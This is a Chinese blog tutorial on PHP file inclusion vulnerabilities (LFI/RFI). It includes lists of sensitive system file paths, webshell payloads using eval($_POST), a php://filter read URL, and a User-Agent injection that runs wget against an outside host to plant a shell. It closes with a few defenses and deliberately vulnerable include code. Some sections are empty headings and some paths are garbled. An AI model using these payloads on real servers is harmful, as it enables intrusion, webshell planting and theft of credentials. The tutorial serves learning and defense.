美文网首页
文件包含漏洞

文件包含漏洞

作者: 小小怪吃吃吃 | 来源:发表于2018-10-18 10:52 被阅读0次

    几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,在JSP、ASP中十分少甚至没有,问题在于语言设计的弊端。


    PHP包含

    一、文件包含原理
    PHP中提供了四个文件包含的函数,分别是include()、include_once()、require()和require_once()。这四个函数都可以进行文件包含,但作用并不一样。

    - require:找不到被包含的文件时会产生致命错误,并停止脚本。
    - include:找不到被包含的文件时只会产生警告,脚本将继续执行。
    - include_once:和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
    - require_once:和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
    

    二、文件包含分类
    PHP中的文件包含分为本地包含和远程包含。
    (一)本地包含 Local File Include (LFI)

    1、所包含文件内容符合PHP语法规范:任何扩展名都可以被PHP解析。
    2、包含非PHP语法规范源文件,会暴露其源代码。

    (二)远程包含 Remote File Include (RFI)
    如果要使用远程包含功能,首先需要确定PHP是否已经开启远程包含功能选项(php默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在php.ini配置文件中修改。

    远程包含与本地包含没有区别,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。

    三、文件包含利用
    (一)读取敏感文件

    常见的敏感信息路径:
    1⃣️:Windows系统。
    C:\boot.ini  //查看系统版本
      C:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
      C:\windows\repair\sam  //存储Windows系统初次安装的密码
      C:\Program Files\mysql\my.ini  //Mysql配置
      C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
      C:\windows\php.ini  //php配置信息
      C:\windows\my.ini  //Mysql配置文件
      ......
    2⃣️:Linux系统。
    /etc/passwd  
      /usr/local/app/apache2/conf/httpd.conf  //apache2默认配置文件
      /usr/local/app/apache2/conf/extra/httpd-vhosts.conf  //虚拟网站设置
      /usr/local/app/php5/lib/php.ini  //PHP相关设置
      /etc/httpd/conf/httpd.conf  //apache配置文件
      /etc/my.cnf  //Mysql的配置文件
      ......
    

    (二)远程包含shell
    *allow_url_fopen选项是激活的,可以尝试远程包含一句话木马。

    访问http://www.xxx.xom/index.php?page=http://www.xiao.xn/echo.txt,
    远程http://www.xiao.xn/下的echo.txt文件内容为:
      <?fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>
    

    (三)本地包含配合文件上传
    上传一句话图片木马,得知图片路径(/upload/1.jpg),图片代码为<?fputs(open("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>,访问http://www.xxx.xom/index.php?page=./upload/1.jpg,包含这张图片并在index.php所在目录生成shell.php。

    (四)使用PHP封装协议
    PHP带有很多内置URL风格的封装协议,这类协议与fopen()、copy()、file_exists()、file size()等文件系统函数所提供的功能类似。

    1、使用封装协议读取PHP文件:
    - http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
    
    2、写入PHP文件:
    

    (五)包含Apache日志文件
    Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中。

    日志默认路径
    (1) apache+Linux日志默认路径
    /etc/httpd/logs/access_log
    或者
    /var/log/httpd/access log
    (2) apache+win2003日志默认路径
    (3) IIS6.0+win2003默认日志文件 C:WINDOWSsystem32Logfiles
    (4) IIS7.0+win2003 默认日志文件 %SystemDrive%inetpublogsLogFiles
    (5) nginx 日志文件在用户安装目录的logs目录下 如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里 也可通过其配置文件Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)

    web中间件默认配置
    (1) apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf
    或者
    index.php?page=/etc/init.d/httpd
    (2) IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml
    (3) IIS7.0+WIN 配置文件 C:WindowsSystem32inetsrvconfigapplicationHost.config

    (六)截断包含
    只适用于magic_quotes_gpc=off的情况,如果为on,%00(NULL)将会被转义,从而无法正常截断。

    (七)绕过WAF防火墙

    (八)包含session

    • 利用条件:session文件路径已知,且其中内容部分可控。
    • PHP默认生成的Session文件往往存放在/tmp目录下 /tmp/sess_SESSIONID ?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
    • (session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类 的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个 shell)

    (九)包含/proc/self/environ文件

    • 利用条件:
    1. php以cgi方式运行,这样environ才会保持UA头。
    2. environ文件存储位置已知,且environ文件可读。
    • 姿势:
      proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。 之后再包含它,即可。
      ?file=../../../../../../../proc/self/environ 选择User-Agent
      写代码如下:
       <?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
    

    然后提交请求。

    (十)包含临时文件


    image.png
    • php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临 时文件被删除之前,利用竞争即可包含该临时文件。
    • 由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有 65535中不同的文件名,所以这个方法是可行的。另一种方法phpinfo来获取临时文件的路径以及名称,然后临时文 件在极短时间被删除的时候,需要竞争时间包含临时文件拿到webshell。

    详见:https://blog.csdn.net/qq_33020901/article/details/78801079


    JSP包含


    文件包含漏洞防御

    1、严格判断包含中的参数是否外部可控。
    2、路径限制
    3、包含文件验证
    4、尽量不要使用动态包含,可以在需要包含的页面固定写好


    绕过有防御的本地文件包含

    <?php
     $file = $_GET['file'];
     include '/var/www/html/'.$file.'/test/test.php'; 
    ?>
    

    这段代码指定了前缀和后缀:这样就很“难”直接去包含前面提到的种种文件。


    绕过有防御的远程文件包含

    <?php
     $basePath = $_GET['path'];
     require_once $basePath . "/action/m_share.php"; 
    ?>
    

    相关文章

      网友评论

          本文标题:文件包含漏洞

          本文链接:https://www.haomeiwen.com/subject/thhjzftx.html